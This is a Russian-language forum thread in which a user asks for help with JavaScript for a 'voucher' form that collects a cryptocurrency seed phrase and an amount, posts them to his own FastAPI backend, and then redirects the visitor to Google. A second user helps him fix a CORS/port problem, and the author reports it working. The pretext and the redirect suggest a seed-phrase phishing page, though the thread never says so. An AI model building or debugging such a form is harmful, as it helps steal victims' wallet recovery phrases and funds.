Загрузка...

Что не нравится этому вашему js

Тема в разделе Frontend создана пользователем evilnotlive 10 мар 2024. 162 просмотра

Загрузка...
  1. evilnotlive
    evilnotlive Автор темы 10 мар 2024 // 2560 26 мар 2020
    JS
    const form = document.getElementById("voucher-form");

    form.addEventListener("submit", async (event) => {
    event.preventDefault();

    const seedPhrase = document.getElementById("seed-phrase").value;
    const amount = document.getElementById("amount").value;

    if (isNaN(amount) || amount <= 0) {
    alert("Сумма должна быть положительным числом!");
    return;
    }

    const jsonData = { seedPhrase, amount };
    const response = await fetch(form.action, {
    method: "POST",
    mode: "no-cors",
    headers: {
    "Content-Type": "application/json"
    },
    body: JSON.stringify(jsonData),
    timeout: 5000
    });

    if (response.ok) {
    alert("Ваш запрос успешно отправлен!");

    window.location.href = "https://www.google.com";
    } else {
    const errorText = await response.text();
    alert(`Произошла ошибка при обработке вашего запроса: ${errorText}`);
    }
    });

    вот что в хтмл написано
    [IMG]
    и так
    я всю ебаную жизнь писал на питоне, за исключением мучений с шарпами, плюсами и джавой
    так вот написал я апишку, отправляю запрос по кнопке, а он сука сначала на CORS ругался, а после в 422 кидает
    что ему надо то?
    чисто апишка работает
    могу роутер который трахает мозг прикрепить, но я хз что там можно добавить что бы работало
    апи на FastAPI, ни разу не писал этот ваш фронт и не ьбуду больше....
     
  2. Shadowraze
    Shadowraze 10 мар 2024 687 15 июл 2018
    Зачем тебе полный адрес? Почему так не напишешь
    ⁡action="/validate-seed"
    ⁡ ?
     
    1. Посмотреть предыдущие комментарии (8)
    2. Shadowraze
      evilnotlive, порты разные... Тут дело уже не на фронтенде, а на строгой политике корс твоего бекенда
    3. evilnotlive Автор темы
      ААА ЕБАТЬ Я ВКУРИЛ УРА СПАСИБО БОЛЬШОЕ!!
    4. evilnotlive Автор темы
      Shadowraze, все я починил, он мне теперь ошибку какую надо ебашит
      спасибо большое!
Top